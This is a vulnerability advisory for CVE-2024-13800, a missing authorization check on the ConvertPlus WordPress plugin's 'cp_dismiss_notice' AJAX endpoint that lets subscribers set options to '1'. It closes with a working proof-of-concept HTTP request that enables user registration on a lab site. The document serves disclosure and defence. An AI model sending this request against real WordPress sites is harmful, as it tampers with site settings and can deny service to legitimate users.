📄 WordPress ConvertPlus 3.5.30 Denial of Service

# CVE-2024-13800
    Popup Plugin For WordPress - ConvertPlus <= 3.5.30 - Missing Authorization to Authenticated (Subscriber+) Limited Options Update
    
    # Description
    
    The ConvertPlus plugin for WordPress is vulnerable to unauthorized modification of data that can lead to a denial of service due to a missing capability check on the 'cp_dismiss_notice' AJAX endpoint in all versions up to, and including, 3.5.30. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update option values to '1' on the WordPress site. This can be leveraged to update an option that would create an error on the site and deny service to legitimate users or be used to set some values to true such as registration.
    
    ## Details
    
    - **Type**: plugin
    - **Slug**: convertplug
    - **Affected Version**: 3.5.30
    - **CVSS Score**: 8.1
    - **CVSS Rating**: High
    - **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
    - **CVE**: CVE-2024-13800
    - **Status**: Private
    
    **Notes**
    
    It only puts a 1 in the database so you can only put in a 1 in `users_can_register`
    
    
    POC
    ---
    
    ```
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: kubernetes.docker.internal:5555
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 50
    Origin: http://kubernetes.docker.internal:5555
    Connection: keep-alive
    Referer: http://kubernetes.docker.internal:5555/wp-admin/options-general.php
    Cookie: wordpress_c4ed56a3aa31dfaae2a50e9003068198=superadmin%7C1746784004%7CMdf7LiwOfluHufzihPiyUftZsNV1BU1vziFSwkdD7gT%7C8cb19a315a9569e77d5be2bf7555f178a9edba2afbc32d1499b8cfd5552e28b9; wp-settings-1=product_cat_tab%3Dpop%26libraryContent%3Dbrowse; wp-settings-time-1=1742893819; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_c4ed56a3aa31dfaae2a50e9003068198=superadmin%7C1746784004%7CMdf7LiwOfluHufzihPiyUftZsNV1BU1vziFSwkdD7gT%7Cf4d35f828e20c240ecf95e5940bddf55741adc8048977e60afd45a178c003011
    
    action=cp_dismiss_notice&notice=users_can_register
    ```